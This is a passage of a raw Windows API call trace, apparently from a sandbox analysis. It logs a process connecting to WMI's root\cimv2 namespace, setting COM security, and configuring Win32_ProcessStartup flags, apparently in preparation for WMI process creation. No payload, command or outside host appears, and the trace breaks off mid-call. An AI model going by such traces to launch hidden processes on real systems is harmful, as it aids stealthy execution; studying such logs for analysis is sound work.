[6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bf2ad80) returned 0x0 [0068.272] WbemLocator:IUnknown:Release (This=0x1bf2ae60) returned 0x0 [0068.272] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bf2ad80) returned 0x0 [0068.272] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0068.273] WbemLocator:IUnknown:AddRef (This=0x1bf2ad80) returned 0x3 [0068.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0068.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0068.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0068.273] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0068.273] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0068.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0068.273] WbemLocator:IUnknown:Release (This=0x1bf2ad80) returned 0x2 [0068.273] WbemLocator:IUnknown:Release (This=0x1bf2ad80) returned 0x1 [0068.273] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0068.273] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0068.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ad80, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bf2ad80) returned 0x0 [0068.273] WbemLocator:IUnknown:AddRef (This=0x1bf2ad80) returned 0x3 [0068.273] WbemLocator:IUnknown:Release (This=0x1bf2ad80) returned 0x2 [0068.273] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bc60, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0068.273] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0068.273] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.273] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bf2ac20) returned 0x0 [0068.274] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf2ac20, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bea6ea0) returned 0x0 [0068.484] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6ea0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bef1930) returned 0x0 [0068.484] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef1930, pProxy=0x1bea6ea0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0068.484] WbemLocator:IUnknown:Release (This=0x1bef1930) returned 0x1 [0068.484] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6ea0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bef1970) returned 0x0 [0068.484] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6ea0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bef1930) returned 0x0 [0068.484] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef1930, pProxy=0x1bea6ea0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0068.484] WbemLocator:IUnknown:Release (This=0x1bef1930) returned 0x2 [0068.484] WbemLocator:IUnknown:Release (This=0x1bef1970) returned 0x1 [0068.484] CoTaskMemFree (pv=0x1bf3d6d0) [0068.485] WbemLocator:IUnknown:AddRef (This=0x1bea6ea0) returned 0x2 [0068.485] WbemLocator:IUnknown:Release (This=0x1bf2ac20) returned 0x0 [0068.485] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0068.485] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0068.485] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6ea0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bef1940) returned 0x0 [0068.485] WbemLocator:IRpcOptions:Query (in: This=0x1bef1940, pPrx=0x1bf2ace0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0068.485] WbemLocator:IUnknown:Release (This=0x1bef1940) returned 0x2 [0068.485] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0068.485] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0068.485] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6ea0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bea6ea0) returned 0x0 [0068.485] WbemLocator:IUnknown:Release (This=0x1bea6ea0) returned 0x2 [0068.485] SysStringLen (param_1=0x0) returned 0x0 [0068.486] WbemDefPath:IWbemPath:GetText (in: This=0x119bd20, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0068.486] WbemDefPath:IWbemPath:GetText (in: This=0x119bd20, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0068.486] IWbemServices:GetObject (in: This=0x1bea6ea0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bef3970, ppCallResult=0x0) returned 0x0 [0068.487] IWbemClassObject:Get (in: This=0x1bef3970, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0068.487] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0068.487] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0068.488] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0068.488] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0068.488] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0068.488] IUnknown:Release (This=0x111f638) returned 0x1 [0068.489] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bf2ac20) returned 0x0 [0068.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2ac20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0068.490] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2ac20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x119bba0) returned 0x0 [0068.490] WbemDefPath:IUnknown:Release (This=0x1bf2ac20) returned 0x0 [0068.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x119bba0) returned 0x0 [0068.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0068.490] WbemDefPath:IUnknown:AddRef (This=0x119bba0) returned 0x3 [0068.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0068.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0068.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bf2ac40) returned 0x0 [0068.490] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2ac40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.490] WbemDefPath:IUnknown:Release (This=0x1bf2ac40) returned 0x3 [0068.490] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0068.490] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0068.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0068.491] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x2 [0068.491] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x1 [0068.491] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0068.491] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0068.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x119bba0) returned 0x0 [0068.491] WbemDefPath:IUnknown:AddRef (This=0x119bba0) returned 0x3 [0068.491] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x2 [0068.491] WbemDefPath:IWbemPath:SetText (This=0x119bba0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0068.491] IWbemClassObject:Get (in: This=0x1bef3970, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2952f08*=0, plFlavor=0x2952f0c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2952f08*=19, plFlavor=0x2952f0c*=0) returned 0x0 [0068.491] IWbemClassObject:Get (in: This=0x1bef3970, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2952f08*=19, plFlavor=0x2952f0c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2952f08*=19, plFlavor=0x2952f0c*=0) returned 0x0 [0068.491] IWbemClassObject:Put (This=0x1bef3970, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0068.491] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bea0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0068.491] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0068.491] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0068.491] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.491] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0068.491] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0068.491] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0068.491] IUnknown:Release (This=0x111f638) returned 0x1 [0068.494] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bf2ab20) returned 0x0 [0068.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2ab20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0068.494] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2ab20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x119bae0) returned 0x0 [0068.494] WbemDefPath:IUnknown:Release (This=0x1bf2ab20) returned 0x0 [0068.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x119bae0) returned 0x0 [0068.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0068.494] WbemDefPath:IUnknown:AddRef (This=0x119bae0) returned 0x3 [0068.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0068.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0068.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bf2ab00) returned 0x0 [0068.494] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2ab00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.494] WbemDefPath:IUnknown:Release (This=0x1bf2ab00) returned 0x3 [0068.494] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0068.495] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0068.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0068.495] WbemDefPath:IUnknown:Release (This=0x119bae0) returned 0x2 [0068.495] WbemDefPath:IUnknown:Release (This=0x119bae0) returned 0x1 [0068.495] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0068.495] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0068.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x119bae0) returned 0x0 [0068.495] WbemDefPath:IUnknown:AddRef (This=0x119bae0) returned 0x3 [0068.495] WbemDefPath:IUnknown:Release (This=0x119bae0) returned 0x2 [0068.495] WbemDefPath:IWbemPath:SetText (This=0x119bae0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0068.495] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bae0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0068.495] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0068.495] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.495] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0068.495] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0068.495] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0068.495] IUnknown:Release (This=0x111f638) returned 0x1 [0068.496] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bf2a8c0) 